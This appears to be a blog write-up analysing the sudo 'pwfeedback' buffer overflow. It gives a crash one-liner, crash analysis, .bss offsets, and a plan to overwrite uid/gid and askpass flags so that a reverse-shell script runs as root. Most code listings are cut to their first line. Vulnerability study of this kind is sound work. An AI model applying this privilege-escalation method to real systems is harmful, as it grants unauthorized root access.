Analysis and exploit development for Sudo ‘pwfeedback’ Buffer Overflow
Environment Setup
OS: Ubuntu 20.04 VM
Tools: pwndbg, pwntools, python3
Target: sudo-1.8.25
Download and compile sudo-1.8.25
1 | cd ~ |
The compiled sudo binary will be under ~/sudo-1.8.25/build/bin
Replicate Crash
First we need to enable pwfeedback
, which shows an asterisk(*) for every character entered
The reason for enabling this will be clear later
1 | # |
We just need to add a new entry in /etc/sudoers
After enabling:
1 | osboxes@osboxes:~/sudo-cve/build/bin$ ./sudo id |
Now we can run the poc script and watch sudo segfault
1 | osboxes@osboxes:~/sudo-cve/build/bin$ perl -e 'print(("A" x 100 . "\x{00}") x 50)' | ./sudo -S id |
Crash Analysis
Let’s use pwntools to simulate the poc script so we can attach gdb to the program
1 | #!/usr/bin/python3 |
Run it and attach gdb with sudo gdb -p $(pidof sudo)
Note that gdb must be running with root privileges in order to trace sudo.
After we unpause the python script, gdb reports a crash
1 | pwndbg> c |
The pwndbg extension tells us that the crash occured at line 345 of tgetpass.c
, so let’s analyse the source code
tgetpass.c
:
1 | static char * |
This code reads in user input one character at a time and stores it in c
It then writes the character to cp
, a pointer into the buffer buf
It also uses left
to track the amount of space left in the buffer
The bug occurs from line 19 when sudo enters the if
statement due to pwfeedback
sudo_term_kill
is basically Ctrl-U
in a terminal. It deletes all characters on the current line
When sudo detects the character represented by sudo_term_kill
, it tries to write \b
s to delete the line, but the write fails because we are using a unidirectional tube to send data
The program breaks into line 26, which sets left
back to the initial amount of space available in buf
, but does not reset cp
back to the head of buf
1 | pwndbg> p sudo_term_kill |
Since we are not using a terminal to input data, sudo_term_kill
will have its initial value of \x00
This explains why we can write over the size of buf
when we send in garbage followed by a null byte
buf is initialised at the start of tgetpass.c
1 | static char buf[SUDO_CONV_REPL_MAX + 1]; |
1 |
basically an array that holds 256 chars
Since buf
is a static variable, it is stored in the .bss
segment
1 | osboxes@osboxes:~/sudo-cve/build/bin$ objdump -D sudo | grep .bss -A 150 |
Disassembling with objdump tells us that there are some interesting data stored below buf
that we can overwrite
user_details
:
1 | pwndbg> ptype user_details |
a struct that holds our user information, but is overwritten by the ‘A’s
A grep for user_details
in the source code directory shows that tgetpass.c
invokes it
tgetpass.c
1 | static char * |
Sudo gets our uid and gid from this struct when executing the askpass
binary
1 | sudo - execute a command as another user |
The askpass binary can be supplied when we run sudo with -A
However we can’t run sudo with -A, because we need the input field to achieve the buffer overflow
Instead, a grep for askpass
reveals that the TGP_ASKPASS
flag is set when -A is used
1 | if ((ch = getopt_long(argc, argv, short_opts, long_opts, NULL)) != -1) { |
The objdump output shows us that tgetpass_flags
is also stored in the bss segment, below the buf
variable
So now we can craft a plan to gain code execution
Plan:
- Set a malicious
askpass
binary as an environment variable - Use the overflow to set the
TGP_ASKPASS
flag - Use the overflow to set our UID and GID to 0
- Get a shell when sudo executes the binary to prompt us for password the second time
Exploit Development
First we need to change our code to spawn a pseudo-terminal
This is because we have to write null bytes to set the uid and gid to 0, and it is not convenient if we can only use the terminating null byte that sudo provides
Currently a null byte will only shift cp
forward by 1
1 | #!/usr/bin/python3 |
With a pseudo-terminal, the value of sudo_term_kill
will be 0x15
Since we set the slave fd to read only, the write from sudo will still fail, and the bug can still be triggered
Find offset:
1 | pwndbg> p &user_details |
Since b’\x41\x15’ writes an A
and moves cp
forward by one, we need to write 548 sets of that to reach the flags field
sudo.h
1 | /* |
sudo defines the TGP_ASKPASS
flag as 0x4
We need to set TGP_STDIN
and TGP_ASKPASS
, so we should write 0x6
shell.sh
1 |
|
We can set this reverse shell script as the rogue askpass
binary
We also need to replace the A
s with null bytes, so we don’t trigger a SIGILL
when we overwrite the signo
variable
Final exploit script:
1 | #!/usr/bin/python3 |
Run it and we should get a shell
1 | osboxes@osboxes:~/sudo-cve/build/bin$ nc -nvlp 4444 |
Conclusion
Pretty interesting and easy bug to commence my adventure into real world bug analysis. Learnt a lot about sudo while researching about it. Now time to go back studying lol.